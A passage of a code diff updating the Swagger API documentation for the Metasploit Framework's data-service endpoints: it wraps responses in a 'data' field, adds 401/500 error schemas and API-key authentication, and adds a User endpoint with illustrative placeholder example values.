|
||||
|
||||
|
||||
|
||||
end
|
|
@ -12,7 +12,23 @@ module MsfApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns the Metasploit Framework version.'
|
||||
schema do
|
||||
property :metasploit_version, type: :string
|
||||
property :data do
|
||||
property :metasploit_version, type: :string
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -28,6 +28,20 @@ module NmapApiDoc
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -40,12 +40,28 @@ module NoteApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns note data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/notes POST
|
||||
|
@ -69,10 +85,25 @@ module NoteApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Note
|
||||
property :data do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -85,14 +116,30 @@ module NoteApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted notes.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -102,8 +149,6 @@ module NoteApiDoc
|
|||
key :description, 'Return specific note that is stored in the database.'
|
||||
key :tags, [ 'note' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
|
@ -114,14 +159,27 @@ module NoteApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns notes data.'
|
||||
key :description, 'Returns note data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
property :data do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/notes/:id PUT
|
||||
|
@ -142,12 +200,27 @@ module NoteApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Note
|
||||
property :data do
|
||||
key :'$ref', :Note
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -10,6 +10,17 @@ module RootApiDoc
|
|||
WORKSPACE_POST_DESC = 'The name of the workspace where this record should be created.'
|
||||
WORKSPACE_POST_EXAMPLE = 'default'
|
||||
HOST_EXAMPLE = '127.0.0.1'
|
||||
CODE_DESC = 'The error code that was generated.'
|
||||
CODE_EXAMPLE = 500
|
||||
MESSAGE_DESC = 'A message describing the error that occurred.'
|
||||
MESSAGE_EXAMPLE = 'Undefined method \'empty?\' for nil:NilClass'
|
||||
AUTH_CODE_DESC = 'The authentication error code that was generated.'
|
||||
AUTH_CODE_EXAMPLE = 401
|
||||
AUTH_MESSAGE_DESC = 'A message describing the authentication error that occurred.'
|
||||
|
||||
DEFAULT_RESPONSE_200 = 'Successful operation.'
|
||||
DEFAULT_RESPONSE_401 = 'Authenticate to access this resource.'
|
||||
DEFAULT_RESPONSE_500 = 'An error occurred during the operation. See the message for more details.'
|
||||
|
||||
swagger_root do
|
||||
key :swagger, '2.0'
|
||||
|
@ -25,23 +36,37 @@ module RootApiDoc
|
|||
key :consumes, ['application/json']
|
||||
key :produces, ['application/json']
|
||||
|
||||
security_definition :api_key do
|
||||
key :type, :apiKey
|
||||
key :name, :Authorization
|
||||
key :in, :header
|
||||
end
|
||||
|
||||
security do
|
||||
key :api_key, []
|
||||
end
|
||||
|
||||
#################################
|
||||
#
|
||||
# Documentation Tags
|
||||
#
|
||||
#################################
|
||||
tag name: 'auth', description: 'Authorization operations.'
|
||||
tag name: 'credential', description: 'Credential operations.'
|
||||
tag name: 'db_export', description: 'Endpoint for generating and retrieving a database backup.'
|
||||
tag name: 'event', description: 'Event operations.'
|
||||
tag name: 'exploit', description: 'Exploit operations.'
|
||||
tag name: 'host', description: 'Host operations.'
|
||||
tag name: 'login', description: 'Login operations.'
|
||||
tag name: 'loot', description: 'Loot operations.'
|
||||
tag name: 'module', description: 'Module search operations.'
|
||||
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
|
||||
tag name: 'nmap', description: 'Nmap operations.'
|
||||
tag name: 'note', description: 'Note operations.'
|
||||
tag name: 'service', description: 'Service operations.'
|
||||
tag name: 'session', description: 'Session operations.'
|
||||
tag name: 'session_event', description: 'Session Event operations.'
|
||||
tag name: 'user', description: 'User operations.'
|
||||
tag name: 'vuln', description: 'Vuln operations.'
|
||||
tag name: 'vuln_attempt', description: 'Vuln Attempt operations.'
|
||||
tag name: 'workspace', description: 'Workspace operations.'
|
||||
|
@ -105,4 +130,37 @@ module RootApiDoc
|
|||
key :type, :string
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_schema :ErrorModel do
|
||||
key :required, [:message]
|
||||
property :error do
|
||||
property :code do
|
||||
key :type, :int32
|
||||
key :description, CODE_DESC
|
||||
key :example, CODE_EXAMPLE
|
||||
end
|
||||
property :message do
|
||||
key :type, :string
|
||||
key :description, MESSAGE_DESC
|
||||
key :example, MESSAGE_EXAMPLE
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_schema :AuthErrorModel do
|
||||
key :required, [:message]
|
||||
property :error do
|
||||
property :code do
|
||||
key :type, :int32
|
||||
key :description, AUTH_CODE_DESC
|
||||
key :example, AUTH_CODE_EXAMPLE
|
||||
end
|
||||
property :message do
|
||||
key :type, :string
|
||||
key :description, AUTH_MESSAGE_DESC
|
||||
key :example, DEFAULT_RESPONSE_401
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -41,12 +41,28 @@ module ServiceApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns service data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/services POST
|
||||
|
@ -71,10 +87,25 @@ module ServiceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Service
|
||||
property :data do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -87,47 +118,72 @@ module ServiceApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted services.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/services/{id}' do
|
||||
# Swagger documentation for api/v1/services/:id GET
|
||||
|
||||
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
|
||||
#
|
||||
# operation :get do
|
||||
# key :description, 'Return specific service that is stored in the database.'
|
||||
# key :tags, [ 'service' ]
|
||||
#
|
||||
# parameter :workspace
|
||||
#
|
||||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of service to retrieve.'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns service data.'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Service
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
operation :get do
|
||||
key :description, 'Return specific service that is stored in the database.'
|
||||
key :tags, [ 'service' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of service to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns service data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/services/:id PUT
|
||||
operation :put do
|
||||
|
@ -147,12 +203,27 @@ module ServiceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Service
|
||||
property :data do
|
||||
key :'$ref', :Service
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -32,12 +32,28 @@ module SessionApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns session data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Session
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Session
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/sessions POST
|
||||
|
@ -60,7 +76,7 @@ module SessionApiDoc
|
|||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation.'
|
||||
# key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
# schema do
|
||||
# key :type, :object
|
||||
# key :'$ref', :Session
|
||||
|
@ -68,4 +84,44 @@ module SessionApiDoc
|
|||
# end
|
||||
# end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/sessions/{id}' do
|
||||
# Swagger documentation for api/v1/sessions/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return a specific session that is stored in the database.'
|
||||
key :tags, [ 'session' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of session to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns session data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Session
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -35,12 +35,28 @@ module SessionEventApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns session event data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :SessionEvent
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :SessionEvent
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/session events POST
|
||||
|
@ -64,10 +80,65 @@ module SessionEventApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :SessionEvent
|
||||
property :data do
|
||||
key :'$ref', :SessionEvent
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/session-events/{id}' do
|
||||
# Swagger documentation for api/v1/session-events/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return a specific session_event that is stored in the database.'
|
||||
key :tags, [ 'session_event' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of session_event to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns session event data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :SessionEvent
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module UserApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
USERNAME_DESC = 'The username of the user.'
|
||||
USERNAME_EXAMPLE = 'bmoose'
|
||||
PASSWORD_DESC = 'The password of the user.'
|
||||
PASSWORD_EXAMPLE = 'pass123'
|
||||
CRYPTED_PASSWORD_DESC = 'The encrypted password of the user.'
|
||||
CRYPTED_PASSWORD_EXAMPLE = '$2a$10$ZOmd0VVkcVLTKW/0Cw0BMeqVITeVN4tPQvRvwBizNyM1NIz45oxda'
|
||||
PASSWORD_SALT_DESC = 'The password salt for the user\'s password.'
|
||||
PERSISTENCE_TOKEN_DESC = 'The persistence token for the user.'
|
||||
PERSISTENCE_TOKEN_EXAMPLE = '1a6347561b72aff163b4c1b8324cfdf9ccca37caa681e29d348677afe0cb56927e2e3ab4dc612723'
|
||||
FULLNAME_DESC = 'The user\'s full name.'
|
||||
FULLNAME_EXAMPLE = 'Bullwinkle J. Moose'
|
||||
EMAIL_DESC = 'The user\'s email address.'
|
||||
EMAIL_EXAMPLE = 'bullwinkle_moose@rapid7.com'
|
||||
PHONE_DESC = 'The user\'s phone number.'
|
||||
PHONE_EXAMPLE = '555-555-5555'
|
||||
COMPANY_DESC = 'The user\'s company.'
|
||||
COMPANY_EXAMPLE = 'Rapid7'
|
||||
PREFS_DESC = 'The user\'s preferences.'
|
||||
PREFS_EXAMPLE = {}
|
||||
ADMIN_DESC = 'A boolean indicating whether the user is an admin.'
|
||||
ADMIN_EXAMPLE = false
|
||||
|
||||
|
||||
# Swagger documentation for User model
|
||||
swagger_schema :User do
|
||||
key :required, [:username, :password]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :crypted_password, type: :string, description: CRYPTED_PASSWORD_DESC, example: CRYPTED_PASSWORD_EXAMPLE
|
||||
property :password_salt, type: :string, description: PASSWORD_SALT_DESC
|
||||
property :persistence_token, type: :string, description: PERSISTENCE_TOKEN_DESC, example: PERSISTENCE_TOKEN_EXAMPLE
|
||||
property :created_at, type: :string, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, description: RootApiDoc::UPDATED_AT_DESC
|
||||
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
|
||||
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
|
||||
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
|
||||
property :company, type: :string, description: COMPANY_DESC, example: COMPANY_EXAMPLE
|
||||
property :prefs, type: :string, description: PREFS_DESC, example: PREFS_EXAMPLE
|
||||
property :admin, type: :string, description: ADMIN_DESC, example: ADMIN_EXAMPLE
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/users' do
|
||||
# Swagger documentation for /api/v1/users GET
|
||||
operation :get do
|
||||
key :description, 'Return users that are stored in the database.'
|
||||
key :tags, [ 'user' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns user data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :User
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/users GET
|
||||
operation :post do
|
||||
key :description, 'Create a user.'
|
||||
key :tags, [ 'user' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the user.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :username, type: :string, required: true, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :password, type: :string, required: true, description: PASSWORD_DESC, example: PASSWORD_EXAMPLE
|
||||
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
|
||||
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
|
||||
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
|
||||
property :company, type: :string, description: COMPANY_DESC, example: COMPANY_EXAMPLE
|
||||
property :prefs, type: :string, description: PREFS_DESC, example: PREFS_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :User
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -89,12 +89,28 @@ module VulnApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vulns POST
|
||||
|
@ -124,10 +140,25 @@ module VulnApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Vuln
|
||||
property :data do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -140,14 +171,30 @@ module VulnApiDoc
|
|||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns an array containing the successfully deleted vulns.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -157,8 +204,6 @@ module VulnApiDoc
|
|||
key :description, 'Return specific vuln that is stored in the database.'
|
||||
key :tags, [ 'vuln' ]
|
||||
|
||||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
|
@ -171,12 +216,25 @@ module VulnApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
property :data do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vulns/:id PUT
|
||||
|
@ -197,12 +255,27 @@ module VulnApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, 'Returns vuln data.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Vuln
|
||||
property :data do
|
||||
key :'$ref', :Vuln
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -41,12 +41,28 @@ module VulnAttemptApiDoc
|
|||
response 200 do
|
||||
key :description, 'Returns vuln attempt data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :VulnAttempt
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :VulnAttempt
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/vuln-attempts POST
|
||||
|
@ -72,12 +88,67 @@ module VulnAttemptApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :VulnAttempt
|
||||
property :data do
|
||||
key :'$ref', :VulnAttempt
|
||||
end
|
||||
end
|
||||
end
